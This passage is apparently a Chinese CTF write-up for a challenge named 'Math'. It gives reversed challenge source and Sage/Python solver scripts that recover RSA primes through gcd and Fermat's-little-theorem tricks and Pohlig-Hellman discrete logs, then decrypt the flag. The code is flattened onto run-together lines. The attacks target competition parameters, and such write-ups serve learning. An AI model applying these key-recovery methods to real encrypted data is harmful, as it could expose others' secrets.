0x00A146448C980FCF49BE5640EA8CFB6278F3B270E54EAD35B5DDF65C0BB0EB67594075A68359E90B762DCC59604F2358D907A539B9ABCB2736BC59F15614D87035C52D0C2B5FC5F9615E00AC5000972CF1A4DCD83F30C7ADDA8B0FA3E1314FB046E1D53F202D341B0BD0DFA681072C58926F9E04931E0F3A9093A51E536E2C11A1 import libnump = libnum.gcd(pow (6 , dq * e, n) - 6 , n) print (p)q = n // p print (n == p * q)m = pow (c, dq, q) phi = (p - 1 ) * (q - 1 ) d = libnum.invmod(e, phi) m = pow (c, d, n) flag = libnum.n2s(m) print (flag)rsa_components = (n, e, d, p, q) myrsa = RSA.construct(rsa_components) private = open ("private1.pem" , "wb" ) private.write(myrsa.exportKey()) private.close()
Math(复现) 逆向出来的源码大概如下:
from Crypto.Util.number import *import gmpy2input_str = "" m = int (input_str, 16 ) p = getPrime(512 ) q = getPrime(512 ) e = getPrime(32 ) n = p * q c = pow (m, e, n) """ c = 0x639cd472630afb1aa9f5490b4f3de3b4701eef5c61aad06345f9e001021340cf989fc082693f745716bd39d015793e62be08913dcb82b2b6c8ed56d15a4cc230a60ea185d593a858b47276c403c79b6da23b561b200295a8addba7a48660d17a9eef322e430b939aecc4ca0c0f4fcc003524cdca68b7be935962f4b4ad8cafd5 """ p1 = getPrime(512 ) q1 = getPrime(512 ) n1 = p1 * q1 c1 = pow (p, 39847 , n1) aa = 2023 * p1 + 2024 hint1 = pow (aa, q1, n1) """ n1 = 0x11df715605906c9cfc906faf4d02a380b9489fe890952cfbc7713af87031b61a4a3a0e2c46ba89ef462a3a77def7d5de0a0a10b3d1303afc06ed7bc9f07e01e9883b06ce17c290fe550844cf9028f50642e4190ccb13cdf0bb0493e437c54ee17643202cc1b35741208957eb6c1843299b4480e6d32a311de6fd6f4b9d9e8fab c1= 0x5a768e8e3e4efe51f566d77dd9a1312f5398bc9e1fa4e828be6a3b6aa6109de02c4eec524e23bf0836b7b25f534a429744e980bdc3acd77a8133c543ea1cf4f4665fbd46bc21d38edd60a687007e079980cac97e1099610aeceee3bff13483396a4cfb061df7d5bce9c7fba6ae14fbead5f56aa990f23ee9cbe8a8fc066d5fa hint1= 0xc3fd84beeb2363d414848fda5898976625bcbb9637982f83853a6c96e64c8ec94645409b7036e3b187ecf930e294fc448c4ac6bfa9945078300b1619bc98d13275770f562874c7fd389ba9ef4e05019633566e65ba95e5a30e29a45b79774c6aaed89aa43105508e868941c81861120f50fe182e33b80701e1714205759f380 """ p2 = getPrime(512 ) q2 = getPrime(512 ) n2 = p2 * q2 c2 = pow (q, 44021 , n2) bb = p2 * 2023 + q2 * 2024 hint2 = pow (bb, 2323 , n2) cc = p2 * 2024 + q2 * 2023 hint3 = pow (cc, 2424 , n2) """ n2 = 0x3cc006e0dea07f834418109ac8c1a447258c7da01223107fd255303613ce9ffc3faa74823a28ea1e211a34c349f20b49bb00447777e4d7f5139219e62fb993562f7e705e0919ccbc414956e8a6cc3e01812ca6eb10558060fe0f7c06da63e5d6169ea5790e86f3e2e804d399d1429529d3031738f134e619a0decce12bde4cd c2 = 0x2de5d5191bf279ba3ea338bd4390a18d0233da9e050b3aa2644a9427eff787b4d74aa3c7dc348f214247997ae32fb86428935e61234f9ef63e9b562c40b6b07c9133cad4672c9aa7f515d3f7d067b6187d30e4346c4afeceae031c3116ccf97acaddb2af42d459c61ce0df7b56ce1e0ba15cf28aed5415615aa9398fb494e5b hint2 = 0x2dd30b086f1c8fa7860ed5cde1e02a062e8722ae9823579f764d5da86ec250b2dfee6934463a06b133d791c3cfbe5f88a43bfae7f25cfb3efb61c10aa710aa76e2229241986fb16f1ae34a867cb7ba641d5637b70a92027479e9c18d1372059a4e04a7298c5b279fa6d84abc1b466b29bba8a1a2ea9e8ad568c14af17c4f50e hint3 = 0x35751402de3cb0f6481451a7b3665b3ddd15c9f0ad07398c4ee35c01ff926dd2545dc41d591fca58b485e3cd114d7c0a67196f95fcebc9391f10c89ded2b1ef3e5014ab8fe5ea33e2afb1cd9af7d84fca17e56e759b136578c29f679a64f0e2060492eee268af2304f7c689ece60a941ba8100dd0d2af1a45499afd10cf9eaa """ base = 0x488D156B0CBEF000F1BF6C47006A3595 myord = 0x9C5AB7C1CC9A4F60B1D53AFAFD7016D00E811E5A1C6FB258C75A246A0630A75644100828E21757DE1D9A5FF99EBD05257AA9D895C1DE40A2EB619FA52F32B38ACB52669841D528351DF863137B0A14F4AFF6506CF0C7CDF1801C2BD3D7FB4E583811F4F771F7E5C0E5F42A85839AFFED38DF8B913FA6A4E782ADC028E5E86162F a = pow (base, e, myord) """ a =0xc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6671709e73af110d1bef9413e9786032d268fd7d243d01ccbdbeb0757e5a5affbc976e83f85bde685618d592fe23d754919a2" """
先求e {e} e 。可以发现myord-1是一个由多个小素数组成,即为光滑数。可用DLP Pohlig-Hellman求出离散对数
a = 0xc028af32e59098f182059e09d4463c34a71b5db98d0d538305102ce68cda72f6897606fd8d933b51633e63c63be59cc3454e8d04d287eda3535f21a8c9496f9e5b62edc81eb971d55b9ecc20b4d6671709e73af110d1bef9413e9786032d268fd7d243d01ccbdbeb0757e5a5affbc976e83f85bde685618d592fe23d754919a2 def r (h, g, N, p, qi ): Zp = Zmod(p) h = pow (h, N // qi, p) g = pow (g, N // qi, p) ri = discrete_log(Zp(h), Zp(g)) return int (ri) base = 96436963965527068665018503742725174677 myord = 1756732319378271983655460958536265633132714124613745489204050716607593076120290066696183637688559620200527260763663370378413505765181372017758141178797150102620052790909049114335428548638439804985346548923394837529069398274110266205521499271733197384646112456211369819887858630437075169226364135089414464738863 factors = [ 10529 , 65777 , 344417 , 503777 , 549247 , 730447 , 859927 , 860113 , 927233 , 1034233 , ] r_list = [] for qi in factors: tmp = r(a, base, myord - 1 , myord, qi) r_list.append(tmp) x = crt(r_list, factors) module = 1 for i in factors: module *= i while True : if int (pow (base, x, myord)) == a: print ("e =" , x) break x += module
p {p} p 利用费马小定理求解
h ≡ ( a p + b ) q m o d n h = ( a p + b ) q + k n h \equiv (ap+b)^q \mod{n} \\ h = (ap+b)^q + kn h ≡ ( a p + b ) q mod n h = ( a p + b ) q + kn 两边同时模上p {p} p
h m o d p = ( a p + b ) q m o d p + k n m o d p h m o d p = b q m o d p h + k 2 p = b q k 2 p = b q − h h \ \mathrm {mod} \ p=(ap+b)^{q} \ \mathrm {mod} \ p+kn \ \mathrm {mod} \ p \\ h \ \mathrm {mod} \ p=b^{q} \ \mathrm {mod} \ p \\ h+k_2p=b^q \\ k_2p=b^q-h h mod p = ( a p + b ) q mod p + kn mod p h mod p = b q mod p h + k 2 p = b q k 2 p = b q − h 所以p = g c d ( b q − h , n ) p=gcd(b^q-h,n) p = g c d ( b q − h , n ) ,但还需要推导q {q} q
q = n − ( p − 1 ) q h m o d p = b n − ( p − 1 ) q m o d p h m o d p = b n m o d p × ( b p − 1 ) − q m o d p q=n-(p-1)q \\ h \ \mathrm {mod} \ p=b^{n-(p-1)q} \ \mathrm {mod} \ p \\ h \ \mathrm {mod} \ p=b^{n} \ \mathrm {mod} \ p \times (b^{p-1})^{-q} \ \mathrm {mod} \ p \\ q = n − ( p − 1 ) q h mod p = b n − ( p − 1 ) q mod p h mod p = b n mod p × ( b p − 1 ) − q mod p 根据费马小定理,假如a {a} a 是一个整数,p {p} p 是一个质数,a {a} a 不为p {p} p 的倍数,则有
a p − 1 m o d p = 1 a^{p-1} \mod{p}=1 a p − 1 mod p = 1 所以
h m o d p ≡ b n m o d p h + k 3 p = b n k 3 p = b n − h h \mod p \equiv b^n \mod{p} \\ h+k_3p=b^n \\ k_3p=b^n-h h mod p ≡ b n mod p h + k 3 p = b n k 3 p = b n − h 综上,p = g c d ( ( b n − h ) , n ) = g c d ( b n m o d n − h , n ) p=gcd((b^n-h),n)=gcd(b^n \ \mathrm {mod} \ n-h,n) p = g c d (( b n − h ) , n ) = g c d ( b n mod n − h , n ) (因为b n {b^n} b n 比较大,所以模n之后再进行计算,结果相同)
from Crypto.Util.number import *import gmpy2n1 = 0x11DF715605906C9CFC906FAF4D02A380B9489FE890952CFBC7713AF87031B61A4A3A0E2C46BA89EF462A3A77DEF7D5DE0A0A10B3D1303AFC06ED7BC9F07E01E9883B06CE17C290FE550844CF9028F50642E4190CCB13CDF0BB0493E437C54EE17643202CC1B35741208957EB6C1843299B4480E6D32A311DE6FD6F4B9D9E8FAB c1 = 0x5A768E8E3E4EFE51F566D77DD9A1312F5398BC9E1FA4E828BE6A3B6AA6109DE02C4EEC524E23BF0836B7B25F534A429744E980BDC3ACD77A8133C543EA1CF4F4665FBD46BC21D38EDD60A687007E079980CAC97E1099610AECEEE3BFF13483396A4CFB061DF7D5BCE9C7FBA6AE14FBEAD5F56AA990F23EE9CBE8A8FC066D5FA hint1 = 0xC3FD84BEEB2363D414848FDA5898976625BCBB9637982F83853A6C96E64C8EC94645409B7036E3B187ECF930E294FC448C4AC6BFA9945078300B1619BC98D13275770F562874C7FD389BA9EF4E05019633566E65BA95E5A30E29A45B79774C6AAED89AA43105508E868941C81861120F50FE182E33B80701E1714205759F380 b = 2024 p1 = gmpy2.gcd(pow (b, n1, n1) - hint1, n1) q1 = n1 // p1 assert p1 * q1 == n1phi1 = (p1 - 1 ) * (q1 - 1 ) e1 = 39847 d1 = inverse(e1, phi1) p = pow (c1, d1, n1) print ("p=" , p)assert isPrime(p)
最后是求q {q} q
h 2 = ( 2023 × p 2 + 2024 × q 2 ) 2323 m o d n 2 h 2 = ( 2023 × p 2 ) 2323 + ( 2024 × q 2 ) 2323 m o d n 2 h 2 × 2023 2323 = ( 2023 × 2023 × p 2 ) 2323 + ( 2023 × 2024 × q 2 ) 2323 m o d n 2 式① : ( h 2 × 2023 2323 ) 2424 = ( 2023 × 2023 × p 2 ) 2323 × 2424 + ( 2023 × 2024 × q 2 ) 2323 × 2424 m o d n 2 h 3 = ( 2024 × p 2 + 2023 × q 2 ) 2424 m o d n 2 h 3 = ( 2024 × p 2 ) 2424 + ( 2023 × q 2 ) 2424 m o d n 2 h 3 × 2024 2424 = ( 2024 × 2024 × p 2 ) 2424 + ( 2023 × 2024 × q 2 ) 2424 m o d n 2 式② : ( h 3 × 2024 2424 ) 2323 = ( 2024 × 2024 × p 2 ) 2323 × 2424 + ( 2023 × 2024 × q 2 ) 2323 × 2424 m o d n 2 最后将式② − 式①得 : ( h 3 × 2024 2424 ) 2323 − ( h 2 × 2023 2323 ) 2424 = k × p 2 m o d n 2 h2 = (2023 \times p2+2024 \times q2)^{2323}\mod{n2} \\ h2 = (2023 \times p2)^{2323}+(2024 \times q2)^{2323}\mod{n2} \\ h2 \times 2023^{2323} = (2023 \times 2023 \times p2)^{2323} + (2023 \times 2024 \times q2)^{2323} \mod {n2} \\ 式①: (h2 \times 2023^{2323})^{2424} = (2023 \times 2023 \times p2)^{2323 \times 2424} + (2023 \times 2024 \times q2)^{2323 \times 2424} \mod{n2} \\ h3 = (2024 \times p2+2023 \times q2)^{2424}\mod{n2} \\ h3 = (2024 \times p2)^{2424}+(2023 \times q2)^{2424}\mod{n2} \\ h3 \times 2024^{2424} = (2024 \times 2024 \times p2)^{2424} + (2023 \times 2024 \times q2)^{2424} \mod {n2} \\ 式②: (h3 \times 2024^{2424})^{2323} = (2024 \times 2024 \times p2)^{2323 \times 2424} + (2023 \times 2024 \times q2)^{2323 \times 2424} \mod {n2} \\ 最后将式②-式①得: \\ (h3 \times 2024^{2424})^{2323} - (h2 \times 2023^{2323})^{2424} = k \times p2 \mod{n2} h 2 = ( 2023 × p 2 + 2024 × q 2 ) 2323 mod n 2 h 2 = ( 2023 × p 2 ) 2323 + ( 2024 × q 2 ) 2323 mod n 2 h 2 × 202 3 2323 = ( 2023 × 2023 × p 2 ) 2323 + ( 2023 × 2024 × q 2 ) 2323 mod n 2 式 ① : ( h 2 × 202 3 2323 ) 2424 = ( 2023 × 2023 × p 2 ) 2323 × 2424 + ( 2023 × 2024 × q 2 ) 2323 × 2424 mod n 2 h 3 = ( 2024 × p 2 + 2023 × q 2 ) 2424 mod n 2 h 3 = ( 2024 × p 2 ) 2424 + ( 2023 × q 2 ) 2424 mod n 2 h 3 × 202 4 2424 = ( 2024 × 2024 × p 2 ) 2424 + ( 2023 × 2024 × q 2 ) 2424 mod n 2 式 ② : ( h 3 × 202 4 2424 ) 2323 = ( 2024 × 2024 × p 2 ) 2323 × 2424 + ( 2023 × 2024 × q 2 ) 2323 × 2424 mod n 2 最后将式 ② − 式 ① 得 : ( h 3 × 202 4 2424 ) 2323 − ( h 2 × 202 3 2323 ) 2424 = k × p 2 mod n 2 n2 = 0x3CC006E0DEA07F834418109AC8C1A447258C7DA01223107FD255303613CE9FFC3FAA74823A28EA1E211A34C349F20B49BB00447777E4D7F5139219E62FB993562F7E705E0919CCBC414956E8A6CC3E01812CA6EB10558060FE0F7C06DA63E5D6169EA5790E86F3E2E804D399D1429529D3031738F134E619A0DECCE12BDE4CD c2 = 0x2DE5D5191BF279BA3EA338BD4390A18D0233DA9E050B3AA2644A9427EFF787B4D74AA3C7DC348F214247997AE32FB86428935E61234F9EF63E9B562C40B6B07C9133CAD4672C9AA7F515D3F7D067B6187D30E4346C4AFECEAE031C3116CCF97ACADDB2AF42D459C61CE0DF7B56CE1E0BA15CF28AED5415615AA9398FB494E5B hint2 = 0x2DD30B086F1C8FA7860ED5CDE1E02A062E8722AE9823579F764D5DA86EC250B2DFEE6934463A06B133D791C3CFBE5F88A43BFAE7F25CFB3EFB61C10AA710AA76E2229241986FB16F1AE34A867CB7BA641D5637B70A92027479E9C18D1372059A4E04A7298C5B279FA6D84ABC1B466B29BBA8A1A2EA9E8AD568C14AF17C4F50E hint3 = 0x35751402DE3CB0F6481451A7B3665B3DDD15C9F0AD07398C4EE35C01FF926DD2545DC41D591FCA58B485E3CD114D7C0A67196F95FCEBC9391F10C89DED2B1EF3E5014AB8FE5EA33E2AFB1CD9AF7D84FCA17E56E759B136578C29F679A64F0E2060492EEE268AF2304F7C689ECE60A941BA8100DD0D2AF1A45499AFD10CF9EAA A = pow (pow (2024 , 2424 , n2) * hint3, 2323 , n2) B = pow (pow (2023 , 2323 , n2) * hint2, 2424 , n2) p2 = gmpy2.gcd(A - B, n2) print (p2)q2 = n2 // p2 assert p2 * q2 == n2phi2 = (p2 - 1 ) * (q2 - 1 ) e2 = 44021 d2 = inverse(e2, phi2) q = pow (c2, d2, n2) print ("q=" , q)assert isPrime(q)
合起来解RSA拿到flag
""" # sage a = 0xC028AF32E59098F182059E09D4463C34A71B5DB98D0D538305102CE68CDA72F6897606FD8D933B51633E63C63BE59CC3454E8D04D287EDA3535F21A8C9496F9E5B62EDC81EB971D55B9ECC20B4D6671709E73AF110D1BEF9413E9786032D268FD7D243D01CCBDBEB0757E5A5AFFBC976E83F85BDE685618D592FE23D754919A2 def r(h, g, N, p, qi): # N : p-1 # qi: N中的素因子 Zp = Zmod(p) h = pow(h, N // qi, p) g = pow(g, N // qi, p) ri = discrete_log(Zp(h), Zp(g)) return int(ri) # a = base ^ x (mod myord) base = 96436963965527068665018503742725174677 myord = 1756732319378271983655460958536265633132714124613745489204050716607593076120290066696183637688559620200527260763663370378413505765181372017758141178797150102620052790909049114335428548638439804985346548923394837529069398274110266205521499271733197384646112456211369819887858630437075169226364135089414464738863 factors = [ 10529, 65777, 344417, 503777, 549247, 730447, 859927, 860113, 927233, 1034233, ] # myord-1=2 * 10529 * 65777^2 * 344417 * 503777 * 549247^4 * 730447^3 * 859927^2 * 860113^3 * 927233^5 * 1034233^5 * 8210213835010098187641073710320295311398472587668756884856051781525126902256646181559044298514514409082539533321235574592460391649123614566600595458616129 r_list = [] for qi in factors: tmp = r(a, base, myord - 1, myord, qi) r_list.append(tmp) x = crt(r_list, factors) module = 1 for i in factors: module *= i while True: if int(pow(base, x, myord)) == a: print("e =", x) break x += module """ e = 3035716141 from Crypto.Util.number import *import gmpy2n1 = 0x11DF715605906C9CFC906FAF4D02A380B9489FE890952CFBC7713AF87031B61A4A3A0E2C46BA89EF462A3A77DEF7D5DE0A0A10B3D1303AFC06ED7BC9F07E01E9883B06CE17C290FE550844CF9028F50642E4190CCB13CDF0BB0493E437C54EE17643202CC1B35741208957EB6C1843299B4480E6D32A311DE6FD6F4B9D9E8FAB c1 = 0x5A768E8E3E4EFE51F566D77DD9A1312F5398BC9E1FA4E828BE6A3B6AA6109DE02C4EEC524E23BF0836B7B25F534A429744E980BDC3ACD77A8133C543EA1CF4F4665FBD46BC21D38EDD60A687007E079980CAC97E1099610AECEEE3BFF13483396A4CFB061DF7D5BCE9C7FBA6AE14FBEAD5F56AA990F23EE9CBE8A8FC066D5FA hint1 = 0xC3FD84BEEB2363D414848FDA5898976625BCBB9637982F83853A6C96E64C8EC94645409B7036E3B187ECF930E294FC448C4AC6BFA9945078300B1619BC98D13275770F562874C7FD389BA9EF4E05019633566E65BA95E5A30E29A45B79774C6AAED89AA43105508E868941C81861120F50FE182E33B80701E1714205759F380 b = 2024 p1 = gmpy2.gcd(pow (b, n1, n1) - hint1, n1) q1 = n1 // p1 assert p1 * q1 == n1phi1 = (p1 - 1 ) * (q1 - 1 ) e1 = 39847 d1 = inverse(e1, phi1) p = pow (c1, d1, n1) print ("p=" , p)assert isPrime(p)n2 = 0x3CC006E0DEA07F834418109AC8C1A447258C7DA01223107FD255303613CE9FFC3FAA74823A28EA1E211A34C349F20B49BB00447777E4D7F5139219E62FB993562F7E705E0919CCBC414956E8A6CC3E01812CA6EB10558060FE0F7C06DA63E5D6169EA5790E86F3E2E804D399D1429529D3031738F134E619A0DECCE12BDE4CD c2 = 0x2DE5D5191BF279BA3EA338BD4390A18D0233DA9E050B3AA2644A9427EFF787B4D74AA3C7DC348F214247997AE32FB86428935E61234F9EF63E9B562C40B6B07C9133CAD4672C9AA7F515D3F7D067B6187D30E4346C4AFECEAE031C3116CCF97ACADDB2AF42D459C61CE0DF7B56CE1E0BA15CF28AED5415615AA9398FB494E5B hint2 = 0x2DD30B086F1C8FA7860ED5CDE1E02A062E8722AE9823579F764D5DA86EC250B2DFEE6934463A06B133D791C3CFBE5F88A43BFAE7F25CFB3EFB61C10AA710AA76E2229241986FB16F1AE34A867CB7BA641D5637B70A92027479E9C18D1372059A4E04A7298C5B279FA6D84ABC1B466B29BBA8A1A2EA9E8AD568C14AF17C4F50E hint3 = 0x35751402DE3CB0F6481451A7B3665B3DDD15C9F0AD07398C4EE35C01FF926DD2545DC41D591FCA58B485E3CD114D7C0A67196F95FCEBC9391F10C89DED2B1EF3E5014AB8FE5EA33E2AFB1CD9AF7D84FCA17E56E759B136578C29F679A64F0E2060492EEE268AF2304F7C689ECE60A941BA8100DD0D2AF1A45499AFD10CF9EAA A = pow (pow (2024 , 2424 , n2) * hint3, 2323 , n2) B = pow (pow (2023 , 2323 , n2) * hint2, 2424 , n2) p2 = gmpy2.gcd(A - B, n2) print (p2)q2 = n2 // p2 assert p2 * q2 == n2phi2 = (p2 - 1 ) * (q2 - 1 ) e2 = 44021 d2 = inverse(e2, phi2) q = pow (c2, d2, n2) print ("q=" , q)assert isPrime(q)c = 0x639CD472630AFB1AA9F5490B4F3DE3B4701EEF5C61AAD06345F9E001021340CF989FC082693F745716BD39D015793E62BE08913DCB82B2B6C8ED56D15A4CC230A60EA185D593A858B47276C403C79B6DA23B561B200295A8ADDBA7A48660D17A9EEF322E430B939AECC4CA0C0F4FCC003524CDCA68B7BE935962F4B4AD8CAFD5 n = p * q phi = (p - 1 ) * (q - 1 ) d = inverse(e, phi) m = pow (c, d, n) print (long_to_bytes(m))